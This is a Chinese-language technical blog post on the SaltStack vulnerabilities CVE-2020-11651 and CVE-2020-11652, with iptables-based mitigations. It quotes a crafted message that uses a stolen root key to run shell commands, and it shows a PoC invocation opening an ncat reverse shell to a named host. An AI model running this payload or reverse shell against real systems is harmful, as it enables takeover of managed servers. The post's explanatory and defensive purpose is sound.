salt远程执行漏洞详解

1 概述

这次的五一假期突发重大安全漏洞,就像2014年国庆的BASH破壳漏洞一样,远程执行,高危。
开源软件的安全性是所有开发者来保障的,所以我们会认为是比较安全的,殊不知我们只是在安全的路上,待我们经历过无穷的漏洞之后才可以认为算是很安全。
漏洞一出,大家都是想到更新到新版本,把端口屏蔽掉,但是两个方法都没有那么实用,更新到新版本不是说更新就更新的,一大堆关联的东西,兼容性等,把端口屏蔽掉勉强可以,但是如果业务变动频繁会碰到白名单的方式没那么好维护。
本文先简单分析下漏洞细节,然后临时给个最简单的修复方案。

2 安全

在大数据的信息时代,数以万计的大厂运行的服务器数量数以万计,在管理和维护这些海量服务器的时候就有了各种以中控管理为核心思想的软件,用来大量服务器批量执行命令,分发文件等维护任务。其中以saltstack最为著名,先致敬。
相信大家都会认为这么著名、用量这么大的组件,安全性肯定很好,可以放心使用,这种思想和以前遇到BASH破壳漏洞和openssl的心脏出血漏洞之前一样,经历过了才更加深刻,那些各种著名的软件没那么安全。这种安全思想估计要一直延续下去了。

3 漏洞细节

这次salt有两个漏洞:认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652),漏洞类型很容易归类,特别是在web渗透这一块经常碰到这种类型的漏洞。而且,已经存在很多年,利用成本低,关键是被发现的成本也比较低。。
比如CVE-2020-11652漏洞细节,在webshell里面是再常见不过了,比如上传时候通过构造../../来跳过当前目录达到保存在任意目录的目的。
salt也有考虑到不能跳过被限制的目录,但是逻辑太简单,salt/wheel/file_roots.py里面:
if os.path.isabs(path):
return ('The path passed in {0} is not relative to the environment '
'{1}').format(path, saltenv)
只限制了路径不能是根路径,也就是”/”开头,但是完全没有考虑过”../”这种相对目录的方式,也就造成了可以任意遍历的漏洞。这个在salt命令行下也很好测试:

 
通过../../跳过的效果:

成功写入/tmp路径。
CVE-2020-11651这个漏洞稍微复杂些,核心点有两个:
第一个是未授权调用_send_pub函数来给所有节点分发任务。
第二个是通过_prep_auth_info 函数远程读取master上的/var/cache/salt/master/.root_key内容,看名字就知道厉害了,salt里面root的key(非ssh)。有了这个key之后就可以远程成功认证,然后给所有节点分发命令执行了。
远程执行时候通过salt.transport.client.ReqChannel.factory函数,构建合法的msg消息体即可:
msg = {"key":root_key,
"cmd":"runner",
'fun': 'salt.cmd',
"kwarg":{
"fun":"cmd.exec_code",
"lang":"python3",
"code":"import subprocess;subprocess.call('{}',shell=True)".format(command)
},
'jid': '20200505042223111231',
'user': 'sudo_user',
'_stamp': '2020-05-05T07:16:33.601188'}
主要点就是拿到之前的那个key。

4 POC

安全团队比较好心地在发布漏洞时候没有把漏洞利用的POC公开,但是补丁都出来了,被别人diff就看到漏洞细节了,所以poc也很快被流传了。
漏洞验证:
注意先把poc里面的python3看情况改为python,然后自定义修改端口。
测试时候首先看是否可以拿到key,这个是关键点:

  
拿到key之后就可以测试是否可以运行命令了。
直接用nc反弹个shell
python2.7 CVE-2020-11651.py 172.16.10.17 minions "/usr/bin/ncat -e /bin/bash 10.1.61.23 9943"

效果:

 

shell来了:

5 解决方案

看似最简单的方案好像是升级到新版本(2019.2.4或者3000.2),但是实际情况下是升级需要时间,这个时间包括原先的插件兼容,代码修改等,一些列的兼容问题和灰度执行是需要时间的。

然后就是端口方案,把默认的4505和4506端口只针对自己的IP开放,这种在短时间内是个比较可行的方案,难点就是新节点需要先加白名单才可以初始化,这种IP太多的情况下白名单的更新处理问题通过自动手段也比较可以接受。

上面两个方案就是各厂的修复方案,但是还有个落地比较可行的临时方案。

因为远程连接的命令其实是没有加密,也就是明文方式,我们可以在master那里的iptables把_prep_auth_info和_send_pub相关的数据禁用掉,相信很多人没有这种远程控制master需求。

iptables规则:

-A INPUT -p tcp --dport 4506 -m string --hex-string "|5F707265705F617574685F696E666F|" --algo bm -j DROP
-A INPUT -p tcp --dport 4506 -m string --hex-string "|5F73656E645F707562|" --algo bm -j DROP

比较暴力,也比较简单有效(2018.3.5测试有效)

iptables的string模块再次临时解决痛点问题。不过长久来说还是建议大家升级到新的版本。

6 总结

2014年的BASH破壳漏洞,吸引了一大堆人在短时间内进行代码“找茬”,然后出了一系列的关于bash的安全漏洞。这次漏洞把salt的安全性推到了风口,估计也会有这么一堆人对开源软件的安全性更加谨慎。也让大部分人会相信,对外的服务尽量修改下默认端口这是个最简单也最应该做的安全措施。

赞(0)
未经允许不得转载:运维军团 » salt远程执行漏洞详解

评论 抢沙发

*

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址